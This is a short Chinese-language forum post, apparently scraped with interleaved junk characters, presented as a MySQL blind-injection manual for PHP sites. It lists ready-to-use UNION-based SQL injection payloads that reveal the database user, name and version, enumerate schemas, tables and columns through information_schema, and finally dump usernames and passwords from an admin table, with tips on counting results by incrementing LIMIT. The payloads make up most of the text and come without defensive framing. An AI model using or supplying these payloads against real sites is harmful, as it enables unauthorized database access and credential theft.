mysql盲注手册

admin

3 [0 i) x0 |+ i* w教程内容:Mysql 5+php 注入
3 S7 U. M( |# g! v& Q
6 a# k0 f: _; J+ c" N" g

, z  @. o" o6 n  V9 p0 Y$ q# m一.查看MYSQL基本信息(库名,版本,用户)
9 Q: Z( R: m6 a/ N: O
and 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*

5 k2 p+ l) S8 D' [二.查数据库
2 _6 @: \. N. Y; r8 R5 z+ M
, `2 _  W% V- qand 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8  from information_schema.SCHEMATA limit 1,1/*
limit 从0开始递增，查询到3时浏览器返回错误，说明存在2个库。

三.暴表
9 g" d, s. ~$ W. h
7 t: ^2 R/ B- p+ o# T2 Vand 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*

8 u2 J: i7 ?+ n! blimit 从0开始递增，查询到14时浏览器返回错误，说明此库存在13个表。

  E7 E1 o  }0 @四.暴字段

: @& B, T6 k0 j3 x7 b: G7 tand 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*
" A/ e" v8 X2 f: b4 ]3 H' g& Z
limit 从0开始递增，查询到时浏览器返回错误，说明此表存在N-1个列。
" |( G' J' Q" B( Z' ]- `* O
, k( e0 q/ Q" Z7 g/ S; u1 F+ U8 Q五.暴数据
2 c) B, R- l5 ?
and 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*
$ e: e# @  d. A/ R

这里直接暴明文的密码，大多时候我们遇到的是MD5加密之后的密文。
+ ]; _/ e9 A) e, S6 l( p" j